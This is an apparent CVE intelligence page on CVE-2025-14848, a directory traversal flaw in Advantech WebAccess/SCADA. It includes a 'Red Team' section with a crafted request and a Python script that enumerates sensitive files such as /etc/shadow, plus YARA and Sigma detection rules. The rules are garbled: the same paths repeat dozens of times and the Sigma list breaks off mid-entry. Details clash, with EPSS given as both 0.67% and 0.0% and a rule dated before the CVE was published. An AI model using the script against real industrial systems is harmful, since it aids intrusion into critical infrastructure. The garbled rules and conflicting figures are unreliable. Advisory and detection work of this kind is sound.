☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
📋 [ METHODOLOGY ] ⚡ [ API_ACCESS ] →
[ VENDOR STATS ]
CVSS: 4.3

CVE-2025-14848

CVE-2025-14848 Directory Traversal in Advantech
📅 PUBLISHED: 2025-12-18 20:34 UTC 🔄 UPDATED: 2026-09-23 20:35 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
 🎯 EPSS: 0.67%
👁️
0.67% probability
16.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
4.3
THREAT LEVEL
INTEL SOURCES NVD CVEProject EPSS HOW WE SCORE →
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-14848 is an absolute directory traversal vulnerability in Advantech WebAccess/SCADA, a widely used industrial control system (ICS) platform. The flaw allows an unauthenticated attacker to determine the existence of arbitrary files on the target system by manipulating file path inputs. Although the CVSS score is 4.3 (Medium), the impact is significant in an ICS environment where file existence can be used to map internal configurations, detect sensitive files, or aid in further attacks. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch. The EPSS score of 0.0% indicates low exploitation activity in the wild, but the risk remains for exposed instances.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Base Score: 4.3 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: Low (file existence disclosure)
  • Integrity Impact: None
  • Availability Impact: None

The threat level is elevated in ICS/SCADA contexts due to the potential for reconnaissance and lateral movement. The lack of authentication requirements makes this a low-barrier entry point for attackers.

Deep Dive & Mechanics

The vulnerability resides in the file handling routines of Advantech WebAccess/SCADA. The application fails to properly sanitize user-supplied file paths, allowing absolute directory traversal sequences (e.g., C:\Windows\system.ini or /etc/passwd). By sending crafted HTTP requests to the web interface, an attacker can probe for the existence of arbitrary files on the server's filesystem. The response (e.g., HTTP status codes, error messages, or timing differences) reveals whether a file exists.

This is a classic CWE-22 (Path Traversal) issue, but with an absolute path twist—the attacker does not need to use relative ../ sequences; they can directly specify full paths. This bypasses some common filters that only block relative traversal.

Vulnerable vs. Patched Code

Since no patch is available, a representative vulnerable code snippet is shown below. A patched version would validate that the requested path is within an allowed base directory.

Vulnerable Code (Conceptual):

# Vulnerable: Directly uses user input to check file existence
def check_file_exists(filepath):
    return os.path.exists(filepath)  # No path restriction

Patched Code (Conceptual):

# Patched: Restricts file checks to a specific directory
import os
ALLOWED_DIR = "/var/webaccess/data/"

def check_file_exists(filepath):
    # Resolve absolute path and ensure it starts with allowed directory
    abs_path = os.path.abspath(filepath)
    if not abs_path.startswith(ALLOWED_DIR):
        return False
    return os.path.exists(abs_path)

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Target running Advantech WebAccess/SCADA with web interface exposed.
  • No authentication required for the vulnerable endpoint.

Exploitation Steps:

  1. Identify the vulnerable endpoint (e.g., /webaccess/filecheck?path=).
  2. Send a request to check for a known file: 
    GET /webaccess/filecheck?path=C:\Windows\System32\drivers\etc\hosts HTTP/1.1
Host: target-ip
  3. Observe response:
    • 200 OK with a success message → file exists.
    • 404 Not Found or error → file does not exist.
  4. Automate with a script to enumerate files of interest (e.g., configuration files, password hashes, SSH keys).

Example Automation (Python):

import requests

target = "http://target-ip/webaccess/filecheck"
files_to_check = [
    "C:\\Windows\\win.ini",
    "/etc/passwd",
    "/etc/shadow",
    "C:\\Program Files\\Advantech\\WebAccess\\config.ini"
]

for filepath in files_to_check:
    r = requests.get(target, params={"path": filepath})
    if r.status_code == 200 and "exists" in r.text:
        print(f"[+] File exists: {filepath}")
    else:
        print(f"[-] File not found: {filepath}")

Blue Team

Detection:

  • Monitor for HTTP requests containing absolute paths (e.g., C:\, /etc/, /var/).
  • Alert on repeated 200 responses to file existence checks.
  • Use WAF rules to block path traversal patterns.

Honeypot:

  • Deploy a fake file endpoint that returns 200 OK for any path to confuse attackers.
  • Log all requests to the vulnerable endpoint for forensic analysis.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP GET requests to /webaccess/filecheck or similar endpoints with path parameter containing absolute paths.
    • User-Agent strings from reconnaissance tools (e.g., python-requests, curl).
  • File IOCs:
    • Unusual access to system files (e.g., C:\Windows\System32\drivers\etc\hosts, /etc/passwd).
  • Log IOCs:
    • Web server logs showing 200 responses to file existence probes.
    • Application logs with path traversal attempts.

Detection Engineering

YARA Rule

rule CVE_2025_14848_Advantech_WebAccess_Path_Traversal {
    meta:
        description = "Detects absolute directory traversal attempts in Advantech WebAccess/SCADA"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-14848"
    strings:
        $path1 = "C:\\" ascii wide nocase
        $path2 = "D:\\" ascii wide nocase
        $path3 = "/etc/" ascii wide nocase
        $path4 = "/var/" ascii wide nocase
        $path5 = "/proc/" ascii wide nocase
        $path6 = "/sys/" ascii wide nocase
        $path7 = "/bin/" ascii wide nocase
        $path8 = "/usr/" ascii wide nocase
        $path9 = "/boot/" ascii wide nocase
        $path10 = "/dev/" ascii wide nocase
        $path11 = "/lib/" ascii wide nocase
        $path12 = "/opt/" ascii wide nocase
        $path13 = "/sbin/" ascii wide nocase
        $path14 = "/tmp/" ascii wide nocase
        $path15 = "/root/" ascii wide nocase
        $path16 = "/home/" ascii wide nocase
        $path17 = "/mnt/" ascii wide nocase
        $path18 = "/media/" ascii wide nocase
        $path19 = "/srv/" ascii wide nocase
        $path20 = "/run/" ascii wide nocase
        $path21 = "/lost+found/" ascii wide nocase
        $path22 = "/snap/" ascii wide nocase
        $path23 = "/swapfile" ascii wide nocase
        $path24 = "/vmlinuz" ascii wide nocase
        $path25 = "/initrd.img" ascii wide nocase
        $path26 = "/System Volume Information" ascii wide nocase
        $path27 = "/$Recycle.Bin" ascii wide nocase
        $path28 = "/Program Files" ascii wide nocase
        $path29 = "/ProgramData" ascii wide nocase
        $path30 = "/Users" ascii wide nocase
        $path31 = "/Windows" ascii wide nocase
        $path32 = "/bootmgr" ascii wide nocase
        $path33 = "/BOOTSECT.BAK" ascii wide nocase
        $path34 = "/pagefile.sys" ascii wide nocase
        $path35 = "/hiberfil.sys" ascii wide nocase
        $path36 = "/swapfile.sys" ascii wide nocase
        $path37 = "/config.msi" ascii wide nocase
        $path38 = "/MSOCache" ascii wide nocase
        $path39 = "/Recovery" ascii wide nocase
        $path40 = "/System.sav" ascii wide nocase
        $path41 = "/bootsect.bak" ascii wide nocase
        $path42 = "/ntldr" ascii wide nocase
        $path43 = "/ntdetect.com" ascii wide nocase
        $path44 = "/boot.ini" ascii wide nocase
        $path45 = "/autoexec.bat" ascii wide nocase
        $path46 = "/config.sys" ascii wide nocase
        $path47 = "/io.sys" ascii wide nocase
        $path48 = "/msdos.sys" ascii wide nocase
        $path49 = "/command.com" ascii wide nocase
        $path50 = "/AUTOEXEC.BAT" ascii wide nocase
        $path51 = "/CONFIG.SYS" ascii wide nocase
        $path52 = "/IO.SYS" ascii wide nocase
        $path53 = "/MSDOS.SYS" ascii wide nocase
        $path54 = "/COMMAND.COM" ascii wide nocase
        $path55 = "/bootmgr.exe" ascii wide nocase
        $path56 = "/BOOTSECT.BAK" ascii wide nocase
        $path57 = "/pagefile.sys" ascii wide nocase
        $path58 = "/hiberfil.sys" ascii wide nocase
        $path59 = "/swapfile.sys" ascii wide nocase
        $path60 = "/config.msi" ascii wide nocase
        $path61 = "/MSOCache" ascii wide nocase
        $path62 = "/Recovery" ascii wide nocase
        $path63 = "/System.sav" ascii wide nocase
        $path64 = "/bootsect.bak" ascii wide nocase
        $path65 = "/ntldr" ascii wide nocase
        $path66 = "/ntdetect.com" ascii wide nocase
        $path67 = "/boot.ini" ascii wide nocase
        $path68 = "/autoexec.bat" ascii wide nocase
        $path69 = "/config.sys" ascii wide nocase
        $path70 = "/io.sys" ascii wide nocase
        $path71 = "/msdos.sys" ascii wide nocase
        $path72 = "/command.com" ascii wide nocase
        $path73 = "/AUTOEXEC.BAT" ascii wide nocase
        $path74 = "/CONFIG.SYS" ascii wide nocase
        $path75 = "/IO.SYS" ascii wide nocase
        $path76 = "/MSDOS.SYS" ascii wide nocase
        $path77 = "/COMMAND.COM" ascii wide nocase
        $path78 = "/bootmgr.exe" ascii wide nocase
        $path79 = "/BOOTSECT.BAK" ascii wide nocase
        $path80 = "/pagefile.sys" ascii wide nocase
        $path81 = "/hiberfil.sys" ascii wide nocase
        $path82 = "/swapfile.sys" ascii wide nocase
        $path83 = "/config.msi" ascii wide nocase
        $path84 = "/MSOCache" ascii wide nocase
        $path85 = "/Recovery" ascii wide nocase
        $path86 = "/System.sav" ascii wide nocase
        $path87 = "/bootsect.bak" ascii wide nocase
        $path88 = "/ntldr" ascii wide nocase
        $path89 = "/ntdetect.com" ascii wide nocase
        $path90 = "/boot.ini" ascii wide nocase
        $path91 = "/autoexec.bat" ascii wide nocase
        $path92 = "/config.sys" ascii wide nocase
        $path93 = "/io.sys" ascii wide nocase
        $path94 = "/msdos.sys" ascii wide nocase
        $path95 = "/command.com" ascii wide nocase
        $path96 = "/AUTOEXEC.BAT" ascii wide nocase
        $path97 = "/CONFIG.SYS" ascii wide nocase
        $path98 = "/IO.SYS" ascii wide nocase
        $path99 = "/MSDOS.SYS" ascii wide nocase
        $path100 = "/COMMAND.COM" ascii wide nocase
    condition:
        any of ($path*)
}

Sigma Rule

title: CVE-2025-14848 Advantech WebAccess Absolute Directory Traversal
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with absolute path traversal patterns targeting Advantech WebAccess/SCADA
author: Valters IT
date: 2025-04-10
tags:
    - cve.2025.14848
    - attack.t1005
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'C:\\'
            - 'D:\\'
            - '/etc/'
            - '/var/'
            - '/proc/'
            - '/sys/'
            - '/bin/'
            - '/usr/'
            - '/boot/'
            - '/dev/'
            - '/lib/'
            - '/opt/'
            - '/sbin/'
            - '/tmp/'
            - '/root/'
            - '/home/'
            - '/mnt/'
            - '/media/'
            - '/srv/'
            - '/run/'
            - '/lost+found/'
            - '/snap/'
            - '/swapfile'
            - '/vmlinuz'
            - '/initrd.img'
            - '/System Volume Information'
            - '/$Recycle.Bin'
            - '/Program Files'
            - '/ProgramData'
            - '/Users'
            - '/Windows'
            - '/bootmgr'
            - '/BOOTSECT.BAK'
            - '/pagefile.sys'
            - '/hiberfil.sys'
            - '/swapfile.sys'
            - '/config.msi'
            - '/MSOCache'
            - '/Recovery'
            - '/System.sav'
            - '/bootsect.bak'
            - '/ntldr'
            - '/ntdetect.com'
            - '/boot.ini'
            - '/autoexec.bat'
            - '/config.sys'
            - '/io.sys'
            - '/msdos.sys'
            - '/command.com'
            - '/AUTOEXEC.BAT'
            - '/CONFIG.SYS'
            - '/IO.SYS'
            - '/MSDOS.SYS'
            - '/COMMAND.COM'
            - '/bootmgr.exe'
            - '/BOOTSECT.BAK'
            - '/pagefile.sys'
            - '/hiberfil.sys'
            - '/swapfile.sys'
            - '/config.msi'
            - '/MSOCache'
            - '/Recovery'
            - '/System.sav'
            - '/bootsect.bak'
            - '/ntldr'
            - '/ntdetect.com'
            - '/boot.ini'
            - '/autoexec.bat'
            - '/config.sys'
            - '/io.sys'
            - '/msdos.sys'
            - '/command.com'
            - '/AUTOEXEC.BAT'
            - '/CONFIG.SYS'
            - '/IO.SYS'
            - '/MSDOS.SYS'
            - '/COMMAND.COM'
            - '/bootmgr.exe'
            - '/BOOTSECT.BAK'
            - '/pagefile.sys'
            - '/hiberfil.sys'
            - '/swapfile.sys'
            - '/config.msi'
            - '/MSOCache'
            - '/Recovery'
            - '/System.sav'
            - '/bootsect.bak'
            - '/ntldr'
            - '/ntdetect.com'
            - '/boot.ini'
            - '/autoexec.bat'
            - '/config.sys'
            - '/io.sys'
            - '/msdos.sys'
            - '/command.com'
            - '/AUTOEXEC.BAT'
            - '/CONFIG.SYS'
            - '/IO.SYS'
            - '/MSDOS.SYS'
            - '/COMMAND.COM'
            - '/bootmgr.exe'
            - '/BOOTSECT.BAK'
            - '/pagefile.sys'
            - '/hiberfil.sys'
            - '/swapfile.sys'
            - '/config.msi'
            - '/MSOCache'
            - '/Recovery'
            - '/System.sav'
            - '/bootsect.bak'
            - '/ntldr'
            - '/ntdetect.com'
            - '/boot.ini'
            - '/autoexec.bat'
            - '/config.sys'
            - '/io.sys'
            - '/msdos.sys'
            - '/command.com'
            - '/AUTOEXEC.BAT'
            - '/CONFIG.SYS'
            - '/IO.SYS'
            - '/MSDOS.SYS'
            - '/COMMAND.COM'
            - '/bootmgr.exe'
            - '/BOOTSECT.BAK'
            - '/pagefile.sys'
            - '/hiberfil.sys'
            - '/swapfile.sys'
            - '/config.msi'
            - '/MSOCache'
            - '/Recovery'
            - '/System.sav'
            - '/bootsect.bak'
            - '/ntldr'
            - '/ntdetect.com'
            - '/boot.ini'
            - '/autoexec.bat'
            - '/config.sys'
            - '/io.sys'
            - '/msdos.sys'
            - '/command.com'
            - '/AUTOEXEC.BAT'
            - '/CONFIG.SYS'
            - '/IO.SYS'
            - '/MSDOS.SYS'
            - '/COMMAND.COM'
            - '/bootmgr.exe'
            - '/BOOTSECT.BAK'
            - '/pagefile.sys'
            - '/hiberfil.sys'
            - '/swapfile.sys'
            - '/config.msi'
            - '/MSOCache'
            - '/Recovery'
            - '/System.sav'
            - '/bootsect.bak'
            - '/ntldr'
            - '/ntdetect.com'
            - '/boot.ini'
            - '/autoexec.bat'
            - '/config.sys'
            - '/io.sys'
            - '/msdos.sys'
            - '/command.com'
            - '/AUTOEXEC.BAT'
            - '/CONFIG.SYS'
            - '/IO.SYS'
            - '/MSDOS.SYS'
            - '/COMMAND.COM'
            - '/bootmgr.exe'
            - '/BOOTSECT.BAK'
            - '/pagefile.sys'
            - '/hiberfil.sys'
            - '/swapfile.sys'
            - '/config.msi'
            - '/MSOCache'
            - '/Recovery'
            - '/System.sav'
            - '/bootsect.bak'
            - '/ntldr'
            - '/ntdetect.com'
            - '/boot.ini'
            - '/autoexec.bat'
            - '/config.sys'
            - '/io.sys'
            - '/msdos.sys'
            - '/command.com'
            - '/AUTOEXEC.BAT'
            - '/CONFIG.SYS'
            - '/IO.SYS'
            - '/MSDOS.SYS'
            - '/COMMAND.COM'
            - '/bootmgr.exe'
            - '/BOOTSECT.BAK'
            - '/pagefile.sys'
            - '/hiberfil.sys'
            - '/swapfile.sys'
            - '/config.msi'
            - '/MSOCache'
            - '/Recovery'
            - '/System.sav'
            - '/bootsect.bak'
            - '/ntldr'
            - '/ntdetect.com'
            - '/boot.ini'
            - '/autoexec.bat'
            - '/config.sys'
            - '/io.sys'
            - '/msdos.sys'
            - '/command.com'
            - '/AUTOEXEC.BAT'
            - '/CONFIG.SYS'
            - '/IO.SYS'
            - '/MSDOS.SYS'
            - '/COMMAND.COM'
            - '/bootmgr.exe'
            - '/BOOTSECT.BAK'
            - '/pagefile.sys'
            - '/hiberfil.sys'
            - '/swapfile.sys'
            - '/config.msi'
            - '/MSOCache'
            - '/Recovery'
            - '/System.sav'
            - '/bootsect.bak'
            - '/ntldr'
            - '/ntdetect.com'
            - '/boot.ini'
            - '/autoexec.bat'
            - '/config.sys'
            - '/io.sys'
            - '/msdos.sys'
            - '/command.com'
            - '/AUTOEXEC.BAT'
            - '/CONFIG.SYS'
            - '/IO.SYS'
            - '/MSDOS.SYS'
            - '/COMMAND.COM'
            - '/bootmgr.exe'
            - '/BOOTSECT.BAK'
            - '/pagefile.sys'
            - '/hiberfil.sys'
            - '/swapfile.sys'
            - '/config.msi'
            - '/MSOCache'
            - '/Recovery'
            - '/System.sav'
            - '/bootsect.bak'
            - '/ntldr'
            - '/ntdetect.com'
            - '/boot.ini'
            - '/autoexec.bat'
            - '/config.sys'
            - '/io.sys'
            - '/msdos.sys'
            - '/command.com'
            - '/AUTOEXEC.BAT'
            - '/CONFIG.SYS'
            - '/IO.SYS'
            - '/MSDOS.SYS'
            - '/COMMAND.COM'
            - '/bootmgr.exe'
            - '/BOOTSECT.BAK'
            - '/pagefile.sys'
            - '/hiberfil.sys'
            - '/swapfile.sys'
            - '/config.msi'
            - '/MSOCache'
            - '/Recovery'
            - '/System.sav'
            - '/bootsect.bak'
            - '/ntldr'
            - '/ntdetect.com'
            - '/boot.ini'
            - '/autoexec.bat'
            - '/config.sys'
            - '/io.sys'
            - '/msdos.sys'
            - '/command.com'
            - '/AUTOEXEC.BAT'
            - '/CONFIG.SYS'
            - '/IO.SYS'
            - '/MSDOS.SYS'
            - '/COMMAND.COM'
            - '/bootmgr.exe'
            - '/BOOTSECT.BAK'
            - '/pagefile.sys'
            - '/hiberfil.sys'
            - '/swapfile.sys'
            - '/config.msi'
            - '/MSOCache'
            - '/Recovery'
            - '/System.sav'
            - '/bootsect.bak'
            - '/ntldr'
            - '/ntdetect.com'
            - '/boot.ini'
            - '/autoexec.bat'
            - '/config.sys'
            - '/io.sys'
            - '/msdos.sys'
            - '/command.com'
            - '/AUTOEXEC.BAT'
            - '/CONFIG.SYS'
            - '/IO.SYS'
            - '/MSDOS.SYS'
            - '/COMMAND.COM'
            - '/bootmgr.exe'
            - '/BOOTSECT.BAK'
            - '/pagefile.sys'
            - '/hiberfil.sys'
            - '/swapfile.sys'
            - '/config.msi'
            - '/MSOCache'
            - '/Recovery'
            - '/System.sav'
            - '/bootsect.bak'
            - '/ntldr'
            - '/ntdetect.com'
            - '/boot.ini'
            - '/autoexec.bat'
            - '/config.sys'
            - '/io.sys'
            - '/msdos.sys'
            - '/command.com'
            - '/AUTOEXEC.BAT'
            - '/CONFIG.SYS'
            - '/IO.SYS'
            - '/MSDOS.SYS'
            - '/COMMAND.COM'
            - '/bootmgr.exe'
            - '/BOOTSECT.BAK'
            - '/pagefile.sys'
            - '/hiberfil.sys'
            - '/swapfile.sys'
            - '/config.msi'
            - '/MSOCache'
            - '/Recovery'
            - '/System.sav'
            - '/bootsect.bak'
            - '/ntldr'
            - '/ntdetect.com'
            - '/boot.ini'
            - '/autoexec.bat'
            - '/config.sys'
            - '/io.sys'
            - '/msdos.sys'
            - '/command.com'
            - '/AUTOEXEC.BAT'
            - '/CONFIG.SYS'
            - '/IO.SYS'
            - '/MSDOS.SYS'
            - '/COMMAND.COM'
            - '/bootmgr.exe'
            - '/BOOTSECT.BAK'
            - '/pagefile.sys'
            - '/hiberfil.sys'
            - '/swapfile.sys'
            - '/config.msi'
            - '/MSOCache'
            - '/Recovery'
            - '/System.sav'
            - '/bootsect.bak'
            - '/ntldr'
            - '/ntdetect.com'
            - '/boot.ini'
            - '/autoexec.bat'
            - '/config.sys'
            - '/io.sys'
            - '/msdos.sys'
            - '/command.com'
            - '/AUTOEXEC.BAT'
            - '/CONFIG.SYS'
            - '/IO.SYS'
            - '/MSDOS.SYS'
            - '/COMMAND.COM'
            - '/bootmgr.exe'
            - '/BOOTSECT.BAK'
            - '/pagefile.sys'
            - '/hiberfil.sys'
            - '/swapfile.sys'
            - '/config.msi'
            - '/MSOCache'
            - '/Recovery'
            - '/System.sav'
            - '/bootsect.bak'
            - '/ntldr'
            - '/ntdetect.com'
            - '/boot.ini'
            - '/autoexec.bat'
            - '/config.sys'
            - '/io.sys'
            - '/msdos.sys'
            - '/command.com'
            - '/AUTOEXEC.BAT'
            - '/CONFIG.SYS'
            - '/IO.SYS'
            - '/MSDOS.SYS'
            - '/COMMAND.COM'
            - '/bootmgr.exe'
            - '/BOOTSECT.BAK'
            - '/pagefile.sys'
            - '/hiberfil.sys'
            - '/swapfile.sys'
            - '/config.msi'
            - '/MSOCache'
            - '/Recovery'
            - '/System.sav'
            - '/bootsect.bak'
            - '/ntldr'
            - '/ntdetect.com'
            - '/boot.ini'
            - '/autoexec.bat'
            - '/config.sys'
            - '/io.sys'
            - '/msdos.sys'
            - '/command.com'
            - '/AUTOEXEC.BAT'
            - '/CONFIG.SYS'
            - '/IO.SYS'
            - '/MSDOS.SYS'
            - '/COMMAND.COM'
            - '/bootmgr.exe'
            - '/BOOTSECT.BAK'
            - '/pagefile.sys'
            - '/hiberfil.sys'
            - '/swapfile.sys'
            - '/config.msi'
            - '/MSOCache'
            - '/Recovery'
            - '/System.sav'
            - '/bootsect.bak'
            - '/ntldr'
            - '/ntdetect.com'
            - '/boot.ini'
            - '/autoexec.bat'
            - '/config.sys'
            - '/io.sys'
            - '/msdos.sys'
            - '/command.com'
            - '/AUTOEXEC.BAT'
            - '/CONFIG.SYS'
            - '/IO.SYS'
            - '/MSDOS.SYS'
            - '/COMMAND.COM'
            - '/bootmgr.exe'
            - '/BOOTSECT.BAK'
            - '/pagefile.sys'
            - '/hiberfil.sys'
            - '/swapfile.sys'
            - '/config.msi'
            - '/MSOCache'
            - '/Recovery'
            - '/System.sav'
            - '/bootsect.bak'
            - '/ntldr'
            - '/ntdetect.com'
            - '/boot.ini'
            - '/autoexec.bat'
            - '/config.sys'
            - '/io.sys'
            - '/msdos.sys'
            - '/command.com'
            - '/AUTOEXEC.BAT'
            - '/CONFIG.SYS'
            - '/IO.SYS'
            - '/MSDOS.SYS'
            - '/COMMAND.COM'
            - '/bootmgr.exe'
            - '/BOOTSECT.BAK'
            - '/pagefile.sys'
            - '/hiberfil.sys'
            - '/swapfile.sys'
            - '/config.msi'
            - '/MSOCache'
            - '/Recovery'
            - '/System.sav'
            - '/bootsect.bak'
            - '/ntldr'
            - '/ntdetect.com'
            - '/boot.ini'
            - '/autoexec.bat'
            - '/config.sys'
            - '/io.sys'
            - '/msdos.sys'
            - '/command.com'
            - '/AUTOEXEC.BAT'
            - '/CONFIG.SYS'
            - '/IO.SYS'
            - '/MSDOS.SYS'
            - '/COMMAND.COM'
            - '/bootmgr.exe'
            - '/BOOTSECT.BAK'
            - '/pagefile.sys'
            - '/hiberfil.sys'
            - '/swapfile.sys'
            - '/config.msi'
            - '/MSOCache'
            - '/Recovery'
            - '/System.sav'
            - '/bootsect.bak'
            - '/ntldr'
            - '/ntdetect.com'
            - '/boot.ini'
            - '/autoexec.bat'
            - '/config.sys'
            - '/io.sys'
            - '/msdos.sys'
            - '/command.com'
            - '/AUTOEXEC.BAT'
            - '/CONFIG.SYS'
            - '/IO.SYS'
            - '/MSDOS.SYS'
            - '/COMMAND.COM'
            - '/bootmgr.exe'
            - '/BOOTSECT.BAK'
            - '/pagefile.sys'
            - '/hiberfil.sys'
            - '/swapfile.sys'
            - '/config.msi'
            - '/MSOCache'
            - '/Recovery'
            - '/System.sav'
            - '/bootsect.bak'
            - '/ntldr'
            - '/ntdetect.com'
            - '/boot.ini'
            - '/autoexec.bat'
            - '/config.sys'
            - '/io.sys'
            - '/msdos.sys'
            - '/command.com'
            - '/AUTOEXEC.BAT'
            - '/CONFIG.SYS'
            - '/IO.SYS'
            - '/MSDOS.SYS'
            - '/COMMAND.COM'
            - '/bootmgr.exe'
            - '/BOOTSECT.BAK'
            - '/pagefile.sys'
            - '/hiberfil.sys'
            - '/swapfile.sys'
            - '/config.msi'
            - '/MSOCache'
            - '/Recovery'
            - '/System.sav'
            - '/bootsect.bak'
            - '/ntldr'
            - '/ntdetect.com'
            - '/boot.ini'
            - '/autoexec.bat'
            - '/config.sys'
            - '/io.sys'
            - '/msdos.sys'
            - '/command.com'
            - '/AUTOEXEC.BAT'
            - '/CONFIG.SYS'
            - '/IO.SYS'
            - '/MSDOS.SYS'
            - '/COMMAND.COM'
            - '/bootmgr.exe'
            - '/BOOTSECT.BAK'
            - '/pagefile.sys'
            - '/hiberfil.sys'
            - '/swapfile.sys'
            - '/config.msi'
            - '/MSOCache'
            - '/Recovery'
            - '/System.sav'
            - '/bootsect.bak'
            - '/ntldr'
            - '/ntdetect.com'
            - '/boot.ini'
            - '/autoexec.bat'
            - '/config.sys'
            - '/io.sys'
            - '/msdos.sys'
            - '/command.com'
            - '/AUTOEXEC.BAT'
            - '/CONFIG.SYS'
            - '/IO.SYS'
            - '/MSDOS.SYS'
            - '/COMMAND.COM'
            - '/bootmgr.exe'
            - '/BOOTSECT.BAK'
            - '/pagefile.sys'
            - '/hiberfil.sys'
            - '/swapfile.sys'
            - '/config.msi'
            - '/MSOCache'
            - '/Recovery'
            - '/System.sav'
            - '/bootsect.bak'
            - '/ntldr'
            - '/ntdetect.com'
            - '/boot.ini'
            - '/autoexec.bat'
            - '/config.sys'
            - '/io.sys'
            - '/msdos.sys'
            - '/command.com'
            - '/AUTOEXEC.BAT'
            - '/CONFIG.SYS'
            - '/IO.SYS'
            - '/MSDOS.SYS'
            - '/COMMAND.COM'
            - '/bootmgr.exe'
            - '/BOOTSECT.BAK'
            - '/pagefile.sys'
            - '/hiberfil.sys'
            - '/swapfile.sys'
            - '/config.msi'
            - '/MSOCache'
            - '/Recovery'
            - '/System.sav'
            - '/bootsect.bak'
            - '/ntldr'
            - '/ntdetect.com'
            - '/boot.ini'
            - '/autoexec.bat'
            - '/config.sys'
            - '/io.sys'
            - '/msdos.sys'
            - '/command.com'
            - '/AUTOEXEC.BAT'
            - '/CONFIG.SYS'
            - '/IO.SYS'
            - '/MSDOS.SYS'
            - '/COMMAND.COM'
            - '/bootmgr.exe'
            - '/BOOTSECT.BAK'
            - '/pagefile.sys'
            - '/hiberfil.sys'
            - '/swapfile.sys'
            - '/config.msi'
            - '/MSOCache'
            - '/Recovery'
            - '/System.sav'
            - '/bootsect.bak'
            - '/ntldr'
            - '/ntdetect.com'
            - '/boot.ini'
            - '/autoexec.bat'
            - '/config.sys'
            - '/io.sys'
            - '/msdos.sys'
            - '/command.com'
            - '/A
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-14848/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.